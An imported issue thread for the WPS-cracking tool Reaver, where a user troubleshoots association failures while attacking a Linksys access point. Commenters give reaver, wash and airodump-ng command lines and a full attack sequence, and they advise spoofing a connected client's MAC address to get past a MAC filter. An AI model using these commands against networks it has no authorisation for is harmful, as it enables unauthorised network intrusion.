WARNING: Failed to associate with BTr3
Created by: GoogleCodeExporter
Answer the following questions for every issue submitted:
0. What version of Reaver are you using? (Only defects against the latest
version will be considered.)
REAVER 1.4
1. What operating system are you using (Linux is the only supported OS)?
BACKTRACK r3
2. Is your wireless card in monitor mode (yes/no)?
YES
3. What is the signal strength of the Access Point you are trying to crack?
-50
4. What is the manufacturer and model # of the device you are trying to
crack?
LINKSYS
5. What is the entire command line string you are supplying to reaver?
reaver -i mon0 -b xx:xx:xx:xx:xx:xx -c 11 -vv
6. Please describe what you think the issue is.
association problem
7. Paste the output from Reaver below.
[+] Switching mon0 to channel 11
[+] Waiting for beacon from xx:xx:xx:xx:xx:xx
[!] WARNING: Failed to associate with xx:xx:xx:xx:xx:xx (ESSID: yy)
[!] WARNING: Failed to associate with xx:xx:xx:xx:xx:xx (ESSID: yy)
Original issue reported on code.google.com by yasser.s...@gmail.com
on 15 Feb 2013 at 8:00
Imported comments:
By GoogleCodeExporter on 2015-09-05 04:15:20 UTC
# wash -i mon0 -C -s
give me the following:
BSSID Channel RSSI WPS Version WPS Locked
ESSID
--------------------------------------------------------------------------------
-------------------------------
xx:xx:xx:xx:xx:xx 11 -53 1.0 No
yy
Original comment by yasser.s...@gmail.com
on 15 Feb 2013 at 8:02
By GoogleCodeExporter on 2015-09-05 04:15:20 UTC
Mac filter is enabled for this AP!
Use same MAC as already associated client
Original comment by kostad...@yahoo.com
on 15 Feb 2013 at 8:51
By GoogleCodeExporter on 2015-09-05 04:15:21 UTC
AHAA
first, how could you know that tha mac filter is enabled?
second, I the AP has no clients => I can't crack it?
Original comment by yasser.s...@gmail.com
on 15 Feb 2013 at 9:03
By GoogleCodeExporter on 2015-09-05 04:15:21 UTC
add -a -S -N and try again.
Original comment by deltomaf...@gmail.com
on 5 Mar 2013 at 2:36
By GoogleCodeExporter on 2015-09-05 04:15:21 UTC
use kismet, airodump-ng or what ever you use as a packet capture app to see if
reaver is sending on the correct mac you have for your wireless card, from
looking at the amount of people with same issue and no solution I'm guessing
its a problem with the radio_tap_header been 2 bytes longer than it should be
on some wireless cards.
Original comment by cwjowls...@btinternet.com
on 5 Mar 2013 at 6:14
By GoogleCodeExporter on 2015-09-05 04:15:21 UTC
i have tested my ouwn router whit enabled wireless MAC filter!
so there is no other way to be, no matter what!
Original comment by kostad...@yahoo.com
on 24 Mar 2013 at 8:42
By GoogleCodeExporter on 2015-09-05 04:15:21 UTC
airmon-ng check
#### dhclient#
#### dhclient#
root@bt:~# kill ####
root@bt:~# kill ####
airmon-ng start wlano
airodump-ng mon0
ctrl + v to stop once bssid is found
wash -i mon0 --ignore-fsc
ctrl+v to stop once bssid is found
Manually type in the bssid you want to attack. it is a must!
reaver -i mon0 -b XX:XX:XX:XX:XX:XX -vv -c 6 --dh-small -s -L -d 5
--lock-delay=315
Original comment by dj.kil...@gmail.com
on 1 Sep 2013 at 8:22